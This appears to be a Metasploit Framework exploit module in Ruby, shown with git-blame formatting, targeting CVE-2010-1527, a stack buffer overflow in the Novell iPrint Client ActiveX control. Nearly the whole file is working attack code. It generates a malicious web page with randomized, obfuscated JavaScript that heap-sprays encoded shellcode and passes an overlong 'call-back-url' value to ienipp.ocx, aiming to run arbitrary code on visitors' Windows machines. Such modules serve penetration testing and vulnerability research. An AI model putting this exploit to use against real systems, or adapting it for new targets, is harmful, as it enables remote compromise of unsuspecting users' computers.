2010-09-21 18:46:29 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# novelliprint_callbackurl.rb
|
|
|
|
#
|
|
|
|
# Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework
|
|
|
|
#
|
|
|
|
# Exploit successfully tested on the following platforms:
|
|
|
|
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
|
|
|
|
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3
|
|
|
|
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2
|
|
|
|
#
|
|
|
|
# ienipp.ocx version tested:
|
|
|
|
# File Version: 5.4.0.0 and 5.4.2.0
|
|
|
|
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
|
|
|
|
# RegKey Safe for Script: True
|
|
|
|
# RegKey Safe for Init: True
|
|
|
|
# KillBitSet: False
|
|
|
|
#
|
|
|
|
# References:
|
|
|
|
# - CVE-2010-1527
|
|
|
|
# - OSVDB 67411
|
|
|
|
# - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research
|
|
|
|
# - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
|
|
|
|
# - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
|
|
|
|
# - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
|
|
|
|
#
|
|
|
|
# Trancer
|
|
|
|
# http://www.rec-sec.com
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.
|
|
|
|
When sending an overly long string to the 'call-back-url' parameter in an
|
|
|
|
op-client-interface-version action of ienipp.ocx an attacker may be able to
|
|
|
|
execute arbitrary code.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2011-12-29 17:27:10 +00:00
|
|
|
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
|
2010-09-21 18:46:29 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-1527' ],
|
|
|
|
[ 'OSVDB', '67411'],
|
|
|
|
[ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research
|
|
|
|
[ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 20 2010',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
use_zlib
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
# Re-generate the payload.
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
# Encode the shellcode.
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
# Setup exploit buffers
|
|
|
|
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
|
|
ret = [target.ret].pack('V')
|
|
|
|
ret = ret * 250
|
|
|
|
blocksize = 0x40000
|
|
|
|
fillto = 500
|
|
|
|
offset = target['Offset']
|
|
|
|
|
|
|
|
# ActiveX parameters
|
|
|
|
clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
|
|
|
|
|
|
|
|
# Randomize the javascript variable names
|
|
|
|
ienipp = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
|
|
|
|
|
|
|
html = %Q|<html>
|
|
|
|
<script>
|
|
|
|
var #{j_shellcode} = unescape('#{shellcode}');
|
|
|
|
var #{j_nops} = unescape('#{nops}');
|
|
|
|
var #{j_headersize} = 20;
|
|
|
|
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
|
|
|
|
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
|
|
|
|
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
|
|
|
|
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
|
|
|
|
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
|
|
|
|
var #{j_memory} = new Array();
|
|
|
|
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
|
|
|
|
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
|
|
|
|
}
|
|
|
|
</script>
|
|
|
|
<object classid='clsid:#{clsid}' id='#{ienipp}'>
|
|
|
|
<param name='operation' value='op-client-interface-version' />
|
|
|
|
<param name='result-type' value='url' />
|
|
|
|
<param name='call-back-url' value='#{ret}' />
|
|
|
|
</object>
|
|
|
|
</html>|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|